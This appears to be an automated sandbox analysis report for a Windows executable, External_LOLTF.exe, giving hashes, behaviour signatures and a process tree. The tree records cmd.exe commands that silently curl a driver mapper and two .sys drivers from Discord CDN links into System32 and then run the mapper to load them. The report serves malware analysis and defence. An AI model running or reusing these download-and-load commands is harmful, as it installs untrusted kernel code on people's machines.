Resubmissions

02/03/2023, 17:22

230302-vxwf9ade7y 8

02/03/2023, 17:20

230302-vwfdmsea22 8

02/03/2023, 17:19

230302-vv5bdadh97 1

Analysis

  • max time kernel
    31s
  • max time network
    33s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    02/03/2023, 17:20

General

  • Target

    External_LOLTF.exe

  • Size

    346KB

  • MD5

    c229b08930961689fa299697e3c59636

  • SHA1

    37ca9b0b845d541d5d13df2bbad7c5954829105c

  • SHA256

    9e7a6d108771792d4e530145b098098f9b392ae52669b239f1479e72d48c09ca

  • SHA512

    5ca4d97e4882e3a6aa5ffffeb2dbef89cf9dcccd2bcddb3ef028cb00d2f6cc0a6727b12cfda76d34fce10dd5f15c59fe6cbb058f19eb5e358554f7ae4d49f82f

  • SSDEEP

    6144:mOuhm8hkidfQUCkNI8ClDvv5ZcS7UnuZ:es8lfjCkNNULxUn

Score
1/10

Malware Config

Signatures

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\External_LOLTF.exe
    "C:\Users\Admin\AppData\Local\Temp\External_LOLTF.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:920
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl --silent https://cdn.discordapp.com/attachments/1041529063682080839/1045899335017185400/drvmapper.exe --output C:\Windows\System32\drvmapper.exe >nul 2>&1
      2⤵
        PID:1768
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c curl --silent https://cdn.discordapp.com/attachments/1080897844556337165/1080897946947694713/BE.sys --output C:\Windows\System32\BE.sys >nul 2>&1
        2⤵
          PID:876
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c curl --silent https://cdn.discordapp.com/attachments/1080897844556337165/1080897958968569966/EAC.sys --output C:\Windows\System32\EAC.sys >nul 2>&1
          2⤵
            PID:520
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c cd C:\Windows\System32\
            2⤵
              PID:1504
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c cls
              2⤵
                PID:844
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c C:\Windows\System32\drvmapper.exe C:\Windows\System32\BE.sys C:\Windows\System32\EAC.sys
                2⤵
                  PID:476
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c cls
                  2⤵
                    PID:1108
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c cls
                    2⤵
                      PID:1920

                  Network

                        MITRE ATT&CK Matrix

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                        Downloads